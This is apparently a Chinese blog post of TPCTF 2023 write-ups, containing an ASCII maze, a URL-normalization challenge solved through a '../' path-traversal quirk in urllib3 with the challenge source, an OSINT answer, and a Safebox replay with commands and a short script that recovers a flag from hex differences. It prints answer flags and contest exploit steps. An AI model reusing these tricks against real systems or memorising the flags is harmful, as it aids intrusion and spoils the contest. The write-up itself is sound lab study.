|   | |*|       |     |*A B*A   | | | |   |*|         | |   |       | A*B     |*|     B*A     |*B     B*|         | | |*A     |*A |   |*A   |*A       |
.-. .-.B.-.A.A. . .-.-.A.A.-.B. .-.-. .-. .-. . . .-.-. . . .-. . .-. .B.-.A.B.B.-. . .-.-.-.-.-.-. . .-.A.B.B. . .-.-.-.A.A.A.-. .-.-.B.-.-.-. . .-. .
|   | B*A*B*B*B | | | | B*|* *A |   |   |   | | |  $  |   |   | | |   |*B*A*B*A   | | A*B*A*A*B     | B*B*A*A*| |     A*B*B*B*B*A     A*|*A*A   | |   |
.-. . .-.A.-.B. . . . . .-.-.B.B.-. . .-. .-.-.-. . . . . . . . .-. .-. .-.-.B.-. .-.-.A.B.B.A.B. . . . .-.-.-. .-. .-.A.A.B.-.-. . . .-.B.B.B. . . .-.
|     |*A          $      A*B |*|   |           | | |           | |   A*|     A*B   | |*B   | A*| | | |*|       |   | B*| |   A*B | | |*B   |*|   | | |
. . . . .A.-.-.-.-. . .-.B.B.B.A. . . .-.-.B.-.-.-.-. .-.-.B.B.B. .-. .-.-.B.-.A. .-. .A.-. . .B. . . .A.-.B.-.-.-. . .-. . . .A. . .-. . .-.A.B.-. . .
|  #  |*|*|* * *A   |   |*A*A*|     |$    A*| |   |  $B*|*B*|*A*|     A*|*B* *|   |   |*|     |*|#    B*|* *B* *| |   |*A     |*B |   A*|     |*A     |
. . .-.B.B.-.-.B. . . .-.A.B.-. . . . .-. .B. .-. .-. .A.A.A.A.-. .-.-.B.A.A.-. .-.-. .B.-.-. .A. .-.-.A.A.-.-.A. .-.-.B. . . .-. . .-.-. .-. .-.-. .-.
|     |         | |     |   |   |       |       |     |       |   |   |   |$|       | | | |   | |     |   |   |   |   |    #    |   |       | |     | |
.-. . .-. . .-.-.-.-. .-. .-. .-.-. . .-. .-.-. . . . . . . .-.-.-. . . .-. . . .-. . . . .-. . . . .-.-. .-. . . . .-. .-. .-. . . .-. .-.-.-.-.-. . .
|   |     |       |   |   |   |   | |   | |   |   | |   | |   |   | | |       | |     |     |         |           | | |     |     | |   |   |         |
.-. .-. . . .-. . . .-. . . . . . . .-.-.-. . .-. . .-.-.-. .-. .-. .-.-. . . . . . . . .-. .-. .-. .-. .-. . . . . . . . .-. .-.-. . . . . . .-.-.-. .
|  $| | |      #    |   |   | | |   |   |$  |     |       |       |       |  #    | | |   |     |$        | | | | |     |       |   | |   |   |       |
.-. . .-. .-.-. .-. .-.-.B.-.A.B. . . .B. .-. .A. .-.-.-.A.B.-.A.-.-.-. . .-. .-. .-. .B.-.B.B. . . . . .A.A.A. . . .-.B. . . .-. .-. .A.-.-. .-. .-.-.
|     |   |  $|   |   B*|*|* *|*| | | A*|    #|*|     |* *B* *|*|     | |       |     A*A* *A*| | | | | B*|*|*B   |   A*|  #  A*B   | |*B     A*| |   |
. . .-. .-.-. . . . . .A.A.B.A. . . . .A. . . .B. .-. .-.-.-.A.B.-. . . . .-. . . .-. .-.-.-.B.A.-. . .A.A.B.-.-.-. .-.-.-. . .-. .-.-.B.-.-. .B. . .-.
| |   | |         |  #    |   |*A |   |*B |   A*|     |*B         | |   |   |   | | | B*A     |*B | | B*|     |*B     |*A     B*A     A*|*B   B*A     |
.-. . . . .-. . . . . . .-. .-.-.-.-. .B.-.-.B. .-. . .A.-.-.-.-. . .-. .A.-.A. .-. .-. .A.-.-.-. . . .A. . . .A.-.-. . .-. . .A. .-.-.A.A.A. . . .-. .
|   |   |   | | |   |   |   B*|   |   B*A* *B*|*|     A* * * *|     | | |*A*|*B |     |*|*A*A*|      #|*B   | B*B |   A*|   | |*B   | |*B B*| |*|   | |
.-. .-. . .-.-. . . .-. . .A.A.-. . . .B.A.B.A.B.-.-. .B.-.-.B. . . . .-.B.B.-.-. . . .A.B.B.B.A. . . .B. . .-. . .-. . . .-.-.A. .-. .-. .-.B.-. .-.-.
|     |     |    #  |     |*|   | | | |*A     A*B   | A*|       |$  |  $          |  #B*A     B*B |   B*A     |*|     |*B     B*| |   B*A   |* *| | | |
. .-.-.-. .A. .-. . . .-.-.B.-. . . . . . .-.-.A.-. . .-.A.-.B.-. . . .-. .-. .-.-.-. .B.-.B.B.-. .-.-.-.A.A.B.A. .-.-.-.-.A.-.-.-. .-. .-. .-. . . . .
| | |     B*|    $  |   | A*|     |   |*A   | |*|   | A*B*B*A*A*A |     | |           |* *|*|*A     |   B*|*|*A   |   | B*B*B*A       |*| |   A*| |   |
.-. .-. . .-.-. . .-. .-. .B.-. .-. .-.-.-. . .B.-. . .-.A.B.-.B.-. .-. .-. . . . .-. .A.B.A.-.-. .-. . .-.B.A.-. . . . .A.-.-. .-. .-.-. . . .A. . . .
| |     |     |     |     | | |   | |       |   |     |     |     | |   |   | | | |     |             | |  $          |     |     |  $          | |   |
. .-.-. .-.-. .-. .-. .-.-. . . .-.-.-. . . . . . .-.-.-. .-.-. .-. .-. . .-.-.-.-.-. .-.-. . . . .-.-. .-.-.-. . .-. . .-. .-.-. . .-.-. .-. .-. . .-.
|       |   |                 |   | |     |   |       |$  |           | |   |   | | | |         | |       | | | |   |   |         |   |       |       |
.-. . . .-. . .-.-. .-. .-. .-. . . . .-. .-. . .-. .-. . .-. . .-. . .-.-.-. . . . . .-. . .-.-. .-.-.-. . . .-.-.-. . . . . . . . .-. . .-.-.-.-. .-.
| | | |       | | |    #         #        |   |   |   |       | |       |     |           | |         |     | |      $|   |     | | |   | |           |
. .-. .A.B.-.A. . . . . . .B.-. . . . .B.-.-.B. . . .-.B.-.-.B.B. .-. . .B.A.B. . . . .B.A.B.-.-. . .-. .-.-. . .-. . .-.-.-.A. .-.-.-.A.A.B.-.A. . . .
|   | B*|*|* *|  $  |     A*A*B | | | A*B*A*|*A   |   A*B*|*A*|*B   | | A*|*|*| | | | |*A* *|* *B | | |   | |     | |   A* *B*B     | B*|*|*A* *| |   |
. .-. .A.A.-.B.-. .-. . .A.-.B. . . .-.-.A.B.A.B. . .-.-.A. .A.A. .-. .-.-.B.A.A. .-. .-.-.B.B.A. . . . .-. . .-. . . .B.-.-.-.-. . . .-.B.A.-.B. .-. .
|   | B*|    $|*B     | B*| B*A    #  |*B     |*|  #  |   B*| |       B*A     B*| |   B*|    #    |     | |       |   |*A   A* *| | | B*A         |   |
.-. . .A.-.-. .A.-.-. .-.-. .-. . . . .A.-.A.-.A.-. . . . . . . . .-. .-. .-.B.-. .-.-. .-.A.-.-. . .-. . . .-. .-. .-.B. .B.B.B. .-. .-.-.-.A. .-.-.-.
|   | |*B     B*A     A*B   |*B   |   |*A*B*B*B   |      #A*|       |     A* *|       A* *|* *|       |     |   |   | A*| A*B |*A     A* *B*B*| |   | |
.-. . .B. . .-.A.-. . .A.A.B.A.A.-.-. .B.A.B.A.-. .-. .-. .-.-. . .-. .-. .-.-.-.-. . .-.-.-.B.A.-.-. .-. . . .-. . . .A.B.A. .-. .-.-.B.-.A.B. .-. . .
| |   A*| |   B*B |   |*A*|* *A*|   | B*A     A*|   |     A*|   |   | A*|     |*B   |         B*|       | |     | |   |*B*|   A*| |   A*| |           |
. . . .-.-.B.B.-. .-. .B.B.-.-.B. . . .B. . .-.B. . . .-.B. .B.A. .-. .B.B.B.B.A. .-.-.B.-.B.B.-. . . .A.B.A.A.A. .-. .A. .B.B.B. . .-.A. . .-. .-.-. .
|   | B* *|*|*A   |   |     A*|       A*| |   |*B |   A*|*|*|*B*|   | | A*|*|*| |     |*B*A*|*A    #  |*|*A*|*B*| |   | A*|*A*A       B*|   |   | |   |
. .-.-.A.-.A.-.-. .-. . .-. .B. . . .-.-.-. .-.A.-. . .B.A.B.A.-.-.-. . .B.A.A. .-. .-.A.A.-.-.-. . .-.B.-.B.B.-. .-. . .-.-.B.-. . .-.-.-. . .-. .-. .
|   | |       |       |    #  | | |  $  |   |       |                   |     |           |   | |       |   | |   |   | |     |     | |       | |     |
. .-. .-. . . .-.-.-. .-. . . .-. .-.-. . . .-. .-.-.-. . .-. . .-.-. .-. .-. . .-.-.-. .-. .-. . .-. .-.-. . . . . . . .-. . . .-. . .-. .-. . . . . .
|       | |  #      |   |           |     |   |       |   |     |       | |         | |     | |$          |   | | | | |     |   |   | |   |       | | |
. .-. . . .-. .-. .-.-. .-.-. . .-.-.-.-.-. .-. .-. .-.-. . . . . .-. . .-.-. . . .-. . . .-. . . . .-. .-.-. . .-. . . .-. .-.-. . . . .-.-.-. .-. .-.
| |   |   |   |               | |   |           | | |       | | |     | | |   | |   | | | |     |  #            |       |         |           |       |
. . . . . .-. .-. .-.-.-.-.B.A. . .-. .A.-.-.-.A. . .-. .-.B.A. . .-.-.-. . .-. .-. . .-.B.B.B.-.-. .-.B.-.A.A.-. .-. .B. . .-.-.-. . .-.A.A.-.-.-.-. .
|  #  |           |   A*|*A*A*B   |   B*A*|* * *|   |   B*|*|*B | |   B*A   | |     | B*A*|*|*A*B   | A*A*B*B*A*B |   |*A |   A*| | |   |*B*B         |
. . . . . . .-. . .-. .B.B.-.-.-. .-.-.-.B.A.B.B. .-. .-.A.A.B.A. . . .B.-.-. . . . . .A.-.A.-.A.-. . .A.-.B.A.-.-. .-.-.B. .B.B. . .-.-.-.-. . . .-. .
| | | | | |   | |     A*B     B*|     A*B             B*A     B*|   | B*A   | | | |       A*B | | |   |       B*|       |*| A*|   | |     B*A | |   | |
.-. . . .-.-.B. . .-. . .-.-.B.A. . . .B.B.A.-.-.-. .-.B.-.B.A.-.-.-.-. .-. . . .-.-.-. .-.-. . . . .-.-. .-.-.A.-. .-.-.A.B.-.-. . . .-.-.-.B. .-. .-.
| |   | B*B*B*A   |   |*|* *|*A    #  A*A*A*|*B |   | A* *B*A*B*A    $|*| | | |     |  $  |*A$              B*|     | |   |*A |            #|*A |     |
. .-.-. .A.A.-. .-.-.-. .B.A.-.-.-. . .B.-.B.A. .-. . .-.-.B.B.B.-.-. .-. . . . . .-.-. . . . . . . . .-.-.B.A.-. . . . . .-. . . . .-.-. .-.-.-. . .-.
| |   | |         |   |*B |   |*B | | |*A             |*A     |*A     B*A       |      #  |*|  # #  |     |*A     |     | B*A   | | |  $| B*|     | | |
. . .-. .-.-.-. .-. . .A. .-. .A. . . .-.A.-.A.B.-. .-. . . . .-. .-. .B.-.-.A.-. . . .-.-. .B.-. .-. . . .-. .-. .-.-.-. .-. .-. .-. .-.A. .-. . . . .
|         |   |     | |*|     |*B  $| B*|*B*|*|*|     B*B | | A*| |   |*|*A*A*A*B | | B*B*|*B*A*|    $| | B*A    #  |     A*B | |       B*A*|   | |   |
. .-. . .-. .-.-. .-. .B.-. . .A. .-.-.A.B.A.B.A. .-. .-. .-.-.B.-. . .A.B.B.B.-.-.-. .A.A.A.A.B. .-. .-. .-. . . . . .-.-.-. . .-. . .-.-.A.-.-. . .-.
|   |  #    |   | |         |   |     |           |     |         | |     |     | |   |   |   | | | |   |   |     |   | |     |   |   | |           | |
. .-. . .-. . .-. . . .-. . .-.-. . . .-.-. . . .-.-. .-.-.-. . . . .-.-. . . .-. .-. . . . .-. . . .-.-.-. . .-.-.-.-. . .-. . . . . . .-.-. . . . . .
|   |       |      #  |   |       | | |   | | | |         |   | |   |$|     | |     |   |             |       |   | |   | | |   |   | |       | | |   |
. . .-.-. .-. .-.-. . .-. .-.-.-. . . . . .-. .-. . .-. .-. .-.-. . . .-. .-. . .-. . .-.-. .-. . . .-. . .-. .-. . .-. . . . .-. .-. . . .-. . .-.-. .
| |   |     |     |             | |   |$|     |   |   |       |   | |       |     |       | |   | |   | |   |   |           | |   |     |     |   |   |
.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.

脑王yyds,tql

好运气,还拿了个一血

Normalize | JBNRZ

没想到是非预期了

  • 在对链接进行url编码的时候,会对相对路径进行解析,以此来泄露后续flag
https://jbnrz.com.cn/../../../test
url编码得到
https://jbnrz.com.cn/test
  • 预期应该是要打侧信道,不会,没测出来,等wp

source

# pip install urllib3==1.25.6
import time, urllib3, signal
signal.signal(signal.SIGALRM, lambda x, y: 1/0)
normalize=lambda url:urllib3.util.parse_url(url).url.lower()

def test(n,b):
    a=b'TPCTF{n0t_a_1inear_a1g0}'
    if b==b'':
        b=b'\x00'
    url="http://flag/"+''.join([chr(a[i%len(a)]^b[i%len(b)]) for i in range(n)])
    t=time.time()
    #print("Before normalization:",url[:18]+("..." if len(url)>18 else ""))
    url=normalize(url)
    url=normalize(url)
    #print("After normalization:",url[:18]+("..." if len(url)>18 else ""))
    return time.time()-t

def run():
    n=int(input("Length of the path after domain to test: "))
    assert 0<=n<=1000000, "Invalid length"
    key=bytes.fromhex(input("XOR key used to generate the URL to test (in hex): "))
    try:
        signal.alarm(5)
        print(f"Time used: {test(n,key)}s")
        signal.alarm(0)
    except Exception as e:
        print("Timeout")

print(f"Here you can test my service based on urllib3 {urllib3.__version__} which also normalizes your URL to lowercase. Why on earth is URL normalized TWICE?")
while 1:
    run()

小 T 的日常 | werewolfcjj & Z3r0

  • 社工
TPCTF{NARUKIYA:2311855}

Safebox | 赛后复现

参考链接:

https://blog.xmcve.com/2023/11/28/TPCTF2023-Writeup/#safebox
  • 当文件名相同时,hex的差值相等
> put a.flag 0 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a
> mv a.flag b
> get b 0 100 a
61b5bb87de53f5bc4425a0396b9038354889ad0dd25e3387d46da50c884ba97f61b5bb87de53f5bc4425a0396b9038354889ad0dd25e3387d46da50c884b
> rm b
> putflag a a
> mv a.flag b
> get b 0 100 a
54a49d7ac36dc4a84a23a5f95662361c36747fd0d0352456be51a31e6750ad564facd7
  • exp.py
test = list(bytes.fromhex("61b5bb87de53f5bc4425a0396b9038354889ad0dd25e3387d46da50c884ba97f61b5bb87de53f5bc4425a0396b9038354889ad0dd25e3387d46da50c884b"))
a = list(bytes.fromhex("54a49d7ac36dc4a84a23a5f95662361c36747fd0d0352456be51a31e6750ad564facd7"))

a = [(a[i] - test[i] + ord("a")) % 256 for i in range(len(a))]
print(bytes(a))
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇